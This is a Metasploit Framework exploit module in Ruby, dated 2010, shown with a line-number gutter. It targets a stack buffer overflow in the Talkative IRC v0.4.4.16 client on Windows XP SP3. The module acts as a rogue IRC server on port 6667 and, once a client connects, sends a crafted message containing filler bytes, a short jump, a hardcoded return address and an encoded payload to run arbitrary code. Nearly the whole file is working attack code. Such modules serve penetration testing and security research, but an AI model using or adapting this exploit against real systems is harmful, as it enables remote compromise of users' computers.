|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81  |  ## # $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::TcpServer  def initialize(info = {})  super(update_info(info,  'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.  When a specially crafted response string is sent to a client,  an attacker may be able to execute arbitrary code.  },  'Author' => [ 'MC' ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 10998 $',  'References' =>  [  [ 'OSVDB', '64582'],  [ 'BID', '34141' ],  [ 'URL', 'http://milw0rm.com/exploits/8227' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space'=> 750,  'BadChars' => "\x00\x0a\x20\x0d",  'StackAdjustment'=> -3500,  'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  'DisableNops' => 'True',  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],  ],  'Privileged' => false,  'DisclosureDate' => 'Mar 17 2009',  'DefaultTarget'=> 0))  register_options(  [  OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])  ], self.class)  end  def on_client_connect(client)  res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"  client.put(res)  end  def on_client_data(client)  return if ((p = regenerate_payload(client)) == nil)  sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)  sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded  sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)  sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"  client.put(sploit)  handler  service.close_client(client)  end end  |